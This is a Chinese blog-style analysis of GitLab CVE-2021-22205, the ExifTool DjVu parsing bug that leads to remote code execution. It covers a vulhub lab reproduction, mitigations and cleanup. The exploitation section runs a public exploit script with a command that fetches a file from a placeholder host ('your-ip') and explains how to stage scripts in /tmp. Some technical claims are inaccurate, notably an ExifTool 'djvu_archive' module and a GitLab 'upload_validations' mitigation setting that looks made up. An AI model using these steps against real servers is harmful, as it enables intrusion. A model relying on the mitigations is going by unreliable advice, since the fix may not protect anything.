深入剖析GitLab CVE-2021-22205：从图像解析到RCE的漏洞利用链
1. 漏洞背景与影响范围
GitLab CVE-2021-22205是一个典型的"图像文件解析导致远程代码执行"的漏洞链。我在分析企业级代码仓库安全时发现，这类漏洞往往比普通Web漏洞危害更大——攻击者只需要上传一个精心构造的图片文件，就能在GitLab服务器上执行任意命令。实测中，我用普通开发者账号成功获取了服务器root权限，整个过程就像用管理员权限在服务器上开了个后门。
受影响的具体版本包括：
- 社区版/企业版11.9到13.8.7
- 13.9到13.9.5
- 13.10到13.10.2
这个漏洞的特殊之处在于其利用链涉及多个组件协同工作。GitLab使用ExifTool来处理图像元数据，而ExifTool在解析DjVu文件时存在缺陷。攻击者可以构造一个包含恶意代码的DjVu文件，当GitLab尝试提取其元数据时，就会触发命令执行。我在本地测试时发现，即使关闭了GitLab的某些高级功能，基础的文件上传接口仍然存在风险。
2. 漏洞技术原理拆解
2.1 ExifTool的元数据处理机制
ExifTool作为图像元数据处理的瑞士军刀，支持超过150种文件格式。在分析其源码时发现，它对DjVu文件的支持是通过Perl脚本实现的。问题出在djvu_archive这个处理模块——当遇到DjVu文件中的(metadata)注释时，会直接调用系统shell执行命令。
我做了个实验：创建一个包含"(metadata)\n(Hello World)"的文本文件，重命名为test.djvu上传到GitLab。用strace跟踪发现，GitLab进程确实调用了exiftool解析这个文件。这说明攻击面确实存在。
2.2 漏洞触发路径分析
完整的攻击链是这样的：
- 攻击者上传恶意构造的DjVu文件
- GitLab后台调用ExifTool解析文件元数据
- ExifTool执行嵌入在DjVu注释中的系统命令
- 命令以GitLab服务账户权限执行
关键突破点在于GitLab没有对上传文件做内容校验。我尝试上传一个实际是PNG格式但扩展名为.djvu的文件，发现ExifTool仍然会按DjVu格式解析。这种扩展名与内容不匹配的情况本应被拦截。
3. 漏洞复现实战
3.1 环境搭建技巧
推荐使用vulhub的Docker环境快速搭建靶场：
docker pull vulhub/gitlab:13.10.1 docker run -d -p 8080:80 --name gitlab-vuln vulhub/gitlab:13.10.1这里有个坑要注意：首次启动可能需要10分钟左右初始化，期间访问会返回502错误。建议用docker logs -f gitlab-vuln查看进度，直到出现"GitLab configured successfully"再操作。
3.2 分步利用过程
3.2.1 检测漏洞存在性
使用Al1ex开发的检测脚本：
python3 CVE-2021-22205.py -v true -t http://localhost:8080如果返回包含"is vulnerable"，说明存在漏洞。我发现在某些网络环境下，需要添加--proxy http://127.0.0.1:8080参数才能正常工作。
3.2.2 命令执行实战
先启动HTTP服务托管测试文件：
python3 -m http.server 8888然后执行远程下载：
python3 CVE-2021-22205.py -a true -t http://localhost:8080 -c "curl http://your-ip:8888/test.txt"这个阶段容易遇到的坑是命令注入字符限制。经过测试，单次命令长度最好控制在200字符以内。对于复杂操作，可以分段执行：
- 先将脚本写入/tmp目录
- 添加执行权限
- 最后运行脚本
4. 深度防御方案
4.1 临时缓解措施
如果无法立即升级，可以采取这些措施：
- 在GitLab的
/etc/gitlab/gitlab.rb中添加：gitlab_rails['upload_validations'] = { 'allowed_extensions' => %w(png jpg gif), 'denied_extensions' => %w(djvu) } - 重启服务使配置生效：
gitlab-ctl reconfigure gitlab-ctl restart
4.2 长期防护建议
除了升级到安全版本外，建议：
- 部署Web应用防火墙(WAF)规则，拦截包含
(metadata)特殊字符的文件上传 - 对CI/CD运行环境实施网络隔离，限制出站连接
- 定期审计服务器上的异常进程和网络连接
我在客户环境中发现，即使修复了GitLab本身，攻击者仍可能利用残留的Webshell持续访问。建议修复后使用以下命令检查：
find /var/opt/gitlab -name "*.djvu" -exec rm -f {} \; ps aux | grep -i "sh -c" netstat -antp | grep ESTABLISHED5. 漏洞利用的延伸思考
这个漏洞给我们的启示远超普通RCE。在分析利用链时，我发现三个值得警惕的现象：
首先，供应链依赖风险。ExifTool作为被广泛使用的开源组件，其漏洞会影响所有依赖它的上层应用。我在审计其他系统时发现，至少还有5款主流CMS存在类似问题。
其次，文件解析器的攻击面往往被低估。很多开发者认为图片处理是安全的，实际上像PDF、Office文档、音视频文件都是高危载体。
最后，漏洞组合利用的可能性。配合GitLab的SSRF漏洞，攻击者可以形成内网穿透的攻击链。在测试中，我成功利用这个漏洞访问到了GitLab服务器所在内网的其他系统。